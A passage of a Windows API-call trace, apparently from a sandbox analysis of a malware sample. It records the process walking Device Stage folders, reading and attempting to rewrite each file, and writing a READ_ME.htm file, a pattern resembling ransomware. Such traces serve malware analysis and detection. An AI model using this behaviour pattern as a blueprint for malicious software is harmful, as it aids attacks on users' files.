dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.500] GetFileType (hFile=0x1d0) returned 0x1 [0137.500] SetErrorMode (uMode=0x0) returned 0x1 [0137.500] GetFileType (hFile=0x1d0) returned 0x1 [0137.500] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x1fad1 [0137.504] ReadFile (in: hFile=0x1d0, lpBuffer=0x12812d90, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x12812d90*, lpNumberOfBytesRead=0x21d358*=0x1fad1, lpOverlapped=0x0) returned 1 [0137.728] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x62 [0137.728] SetErrorMode (uMode=0x1) returned 0x0 [0137.728] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.789] SetErrorMode (uMode=0x0) returned 0x1 [0137.796] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0137.797] SetErrorMode (uMode=0x1) returned 0x0 [0137.797] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.818] GetFileType (hFile=0x1d0) returned 0x1 [0137.819] SetErrorMode (uMode=0x0) returned 0x1 [0137.819] GetFileType (hFile=0x1d0) returned 0x1 [0137.819] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xb61 [0137.819] ReadFile (in: hFile=0x1d0, lpBuffer=0x28767c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28767c0*, lpNumberOfBytesRead=0x21d358*=0xb61, lpOverlapped=0x0) returned 1 [0137.822] CloseHandle (hObject=0x1d0) returned 1 [0137.921] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0137.921] SetErrorMode (uMode=0x1) returned 0x0 [0137.921] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.940] SetErrorMode (uMode=0x0) returned 0x1 [0137.944] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x5e [0137.944] SetErrorMode (uMode=0x1) returned 0x0 [0137.944] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.945] GetFileType (hFile=0x1d0) returned 0x1 [0137.945] SetErrorMode (uMode=0x0) returned 0x1 [0137.945] GetFileType (hFile=0x1d0) returned 0x1 [0137.945] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xadc8 [0137.945] ReadFile (in: hFile=0x1d0, lpBuffer=0x295c2d0, nNumberOfBytesToRead=0xadc8, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x295c2d0*, lpNumberOfBytesRead=0x21d358*=0xadc8, lpOverlapped=0x0) returned 1 [0137.948] CloseHandle (hObject=0x1d0) returned 1 [0138.052] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x5e [0138.052] SetErrorMode (uMode=0x1) returned 0x0 [0138.052] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.072] SetErrorMode (uMode=0x0) returned 0x1 [0138.075] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x5f [0138.076] SetErrorMode (uMode=0x1) returned 0x0 [0138.076] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.076] GetFileType (hFile=0x1d0) returned 0x1 [0138.076] SetErrorMode (uMode=0x0) returned 0x1 [0138.077] GetFileType (hFile=0x1d0) returned 0x1 [0138.077] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x70c1 [0138.077] ReadFile (in: hFile=0x1d0, lpBuffer=0x2873de8, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2873de8*, lpNumberOfBytesRead=0x21d358*=0x70c1, lpOverlapped=0x0) returned 1 [0138.083] CloseHandle (hObject=0x1d0) returned 1 [0138.168] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x0) returned 0x5f [0138.168] SetErrorMode (uMode=0x1) returned 0x0 [0138.168] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.171] SetErrorMode (uMode=0x0) returned 0x1 [0138.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x60 [0138.178] SetErrorMode (uMode=0x1) returned 0x0 [0138.179] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.184] GetFileType (hFile=0x1d0) returned 0x1 [0138.184] SetErrorMode (uMode=0x0) returned 0x1 [0138.184] GetFileType (hFile=0x1d0) returned 0x1 [0138.184] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x99d3 [0138.184] ReadFile (in: hFile=0x1d0, lpBuffer=0x297f490, nNumberOfBytesToRead=0x99d3, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x297f490*, lpNumberOfBytesRead=0x21d358*=0x99d3, lpOverlapped=0x0) returned 1 [0138.186] CloseHandle (hObject=0x1d0) returned 1 [0138.287] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", lpFilePart=0x0) returned 0x60 [0138.288] SetErrorMode (uMode=0x1) returned 0x0 [0138.288] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.304] SetErrorMode (uMode=0x0) returned 0x1 [0138.308] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\READ_ME.htm", lpFilePart=0x0) returned 0x5f [0138.309] SetErrorMode (uMode=0x1) returned 0x0 [0138.309] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0138.309] GetFileType (hFile=0x1d0) returned 0x1 [0138.309] SetErrorMode (uMode=0x0) returned 0x1 [0138.309] GetFileType (hFile=0x1d0) returned 0x1 [0138.310] WriteFile (in: hFile=0x1d0, lpBuffer=0x289bcb8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x289bcb8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0138.310] CloseHandle (hObject=0x1d0) returned 1 [0138.311] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0138.311] SetErrorMode (uMode=0x1) returned 0x0 [0138.311] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.312] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.312] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0138.312] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0138.312] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0138.312] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0138.313] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.313] SetErrorMode (uMode=0x0) returned 0x1 [0138.313] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0138.314] SetErrorMode (uMode=0x1) returned 0x0 [0138.314] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0138.314] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0138.315] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0138.315] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0138.315] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.315] SetErrorMode (uMode=0x0) returned 0x1 [0138.316] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x62 [0138.316] SetErrorMode (uMode=0x1) returned 0x0 [0138.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.316] GetFileType (hFile=0x1d0) returned 0x1 [0138.317] SetErrorMode (uMode=0x0) returned 0x1 [0138.317] GetFileType (hFile=0x1d0) returned 0x1 [0138.317] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x1fad1 [0138.318] ReadFile (in: hFile=0x1d0, lpBuffer=0x128e6b28, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x128e6b28*, lpNumberOfBytesRead=0x21d358*=0x1fad1, lpOverlapped=0x0) returned 1 [0138.335] CloseHandle (hObject=0x1d0) returned 1 [0138.401] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x62 [0138.401] SetErrorMode (uMode=0x1) returned 0x0 [0138.401] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.404] SetErrorMode (uMode=0x0) returned 0x1 [0138.406] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0138.406] SetErrorMode (uMode=0x1) returned 0x0 [0138.406] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.407] GetFileType (hFile=0x1d0) returned 0x1 [0138.407] SetErrorMode (uMode=0x0) returned 0x1 [0138.407] GetFileType (hFile=0x1d0) returned 0x1 [0138.407] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x769 [0138.407] ReadFile (in: hFile=0x1d0, lpBuffer=0x2980c90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2980c90*, lpNumberOfBytesRead=0x21d358*=0x769, lpOverlapped=0x0) returned 1 [0138.420] CloseHandle (hObject=0x1d0) returned 1 [0138.504] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0138.504] SetErrorMode (uMode=0x1) returned 0x0 [0138.504] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.518] SetErrorMode (uMode=0x0) returned 0x1 [0138.521] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x61 [0138.521] SetErrorMode (uMode=0x1) returned 0x0 [0138.521] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.521] GetFileType (hFile=0x1d0) returned 0x1 [0138.522] SetErrorMode (uMode=0x0) returned 0x1 [0138.522] GetFileType (hFile=0x1d0) returned 0x1 [0138.522] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x70c1 